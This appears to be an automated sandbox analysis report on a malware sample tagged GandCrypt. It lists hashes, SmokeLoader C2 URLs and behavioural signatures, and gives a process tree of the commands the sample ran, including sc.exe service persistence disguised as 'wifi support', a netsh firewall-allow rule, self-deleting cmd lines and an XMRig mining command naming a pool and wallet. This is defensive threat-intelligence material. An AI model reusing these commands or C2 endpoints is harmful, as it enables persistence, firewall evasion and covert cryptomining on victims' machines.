Overview

overview

10

Static

static

SecuriteIn...31.exe

windows7_x64

10

SecuriteIn...31.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    27-03-2021 19:32

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General

  • Target

    SecuriteInfo.com.Mal.GandCrypt-A.5674.24831.exe

  • Size

    162KB

  • MD5

    b4eb6b71786c58d41f2b719e5c102662

  • SHA1

    3653372d26a08503acc0a3ffe66b67ed3bbc93e7

  • SHA256

    6b4d4a61ef4fbabcb304b9c5665cc3e6c2ea866fba7d848094fe93ee6580411f

  • SHA512

    c3a1a060249b51360c6c61a7ccb86e4df66837d759d96ace783b1afdc90189115e2b08c188170a4e31ca27aca656fca4ea38ba900683fbad60e4ba086920c9bc

Score
10/10
smokeloadertofseevidarxmrigbackdoordiscoveryevasionminerpersistencespywarestealertrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://xsss99.icu/upload/

http://bingooodsg.icu/upload/

http://junntd.xyz/upload/

http://ginessa11.xyz/upload/

http://overplayninsx.xyz/upload/

http://bananinze.com/upload/

http://daunimlas.com/upload/
rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.GandCrypt-A.5674.24831.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.GandCrypt-A.5674.24831.exe"
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:2604
  • C:\Users\Admin\AppData\Local\Temp\CD39.exe
    C:\Users\Admin\AppData\Local\Temp\CD39.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\c245b931-e9ca-4cbd-adf7-e3abc3d035cb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      2⤵
      • Modifies file permissions
      PID:1332
    • C:\Users\Admin\AppData\Local\Temp\CD39.exe
      "C:\Users\Admin\AppData\Local\Temp\CD39.exe" --Admin IsNotAutoStart IsNotTask
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\updatewin.exe
        "C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\updatewin.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:204
        • C:\Windows\SysWOW64\cmd.exe
          /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\updatewin.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 3
            5⤵
            • Delays execution with timeout.exe
            PID:4080
      • C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\5.exe
        "C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\5.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious use of WriteProcessMemory
        PID:3268
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e4632dc4-7bdb-48be-b5fc-bdea4a1e1e01\5.exe" & del C:\ProgramData\*.dll & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im 5.exe /f
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1356
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 6
            5⤵
            • Delays execution with timeout.exe
            PID:3500
  • C:\Users\Admin\AppData\Local\Temp\DA78.exe
    C:\Users\Admin\AppData\Local\Temp\DA78.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im DA78.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\DA78.exe" & del C:\ProgramData\*.dll & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im DA78.exe /f
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1712
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 6
        3⤵
        • Delays execution with timeout.exe
        PID:1452
  • C:\Users\Admin\AppData\Local\Temp\EF69.exe
    C:\Users\Admin\AppData\Local\Temp\EF69.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fymyquax\
      2⤵
        PID:1336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lcyfwvzd.exe" C:\Windows\SysWOW64\fymyquax\
        2⤵
          PID:2568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fymyquax binPath= "C:\Windows\SysWOW64\fymyquax\lcyfwvzd.exe /d\"C:\Users\Admin\AppData\Local\Temp\EF69.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3904
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description fymyquax "wifi internet conection"
            2⤵
              PID:1824
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start fymyquax
              2⤵
                PID:2348
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3404
              • C:\Windows\SysWOW64\fymyquax\lcyfwvzd.exe
                C:\Windows\SysWOW64\fymyquax\lcyfwvzd.exe /d"C:\Users\Admin\AppData\Local\Temp\EF69.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3420
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:2276
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2664

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/1308-11-0x0000000001BB0000-0x0000000001CCA000-memory.dmp

                Filesize

                1.1MB

                Download

              • memory/1308-10-0x0000000001BB0000-0x0000000001BB1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1308-12-0x0000000000400000-0x0000000000537000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/2276-93-0x0000000004950000-0x0000000004B5F000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/2276-86-0x0000000000AE0000-0x0000000000AF5000-memory.dmp

                Filesize

                84KB

                Download

              • memory/2276-82-0x0000000000AE0000-0x0000000000AF5000-memory.dmp

                Filesize

                84KB

                Download

              • memory/2276-94-0x0000000002F90000-0x0000000002F96000-memory.dmp

                Filesize

                24KB

                Download

              • memory/2604-4-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/2604-2-0x0000000002770000-0x0000000002771000-memory.dmp

                Filesize

                4KB

                Download

              • memory/2604-3-0x0000000000870000-0x0000000000879000-memory.dmp

                Filesize

                36KB

                Download

              • memory/2664-95-0x0000000003200000-0x00000000032F1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/2828-6-0x0000000000F80000-0x0000000000F96000-memory.dmp

                Filesize

                88KB

                Download

              • memory/3268-58-0x0000000000400000-0x0000000000499000-memory.dmp

                Filesize

                612KB

                Download

              • memory/3268-39-0x0000000003140000-0x0000000003141000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3268-57-0x0000000003140000-0x00000000031D6000-memory.dmp

                Filesize

                600KB

                Download

              • memory/3420-81-0x0000000001130000-0x0000000001131000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3420-85-0x0000000000400000-0x0000000000415000-memory.dmp

                Filesize

                84KB

                Download

              • memory/3536-67-0x0000000000400000-0x0000000000415000-memory.dmp

                Filesize

                84KB

                Download

              • memory/3536-66-0x00000000001D0000-0x00000000001E3000-memory.dmp

                Filesize

                76KB

                Download

              • memory/3536-64-0x0000000002580000-0x0000000002581000-memory.dmp

                Filesize

                4KB

                Download

              • memory/3864-20-0x0000000001B40000-0x0000000001B41000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4040-33-0x0000000002570000-0x0000000002571000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4040-35-0x0000000000B10000-0x0000000000BA5000-memory.dmp

                Filesize

                596KB

                Download

              • memory/4040-36-0x0000000000400000-0x0000000000498000-memory.dmp

                Filesize

                608KB

                Download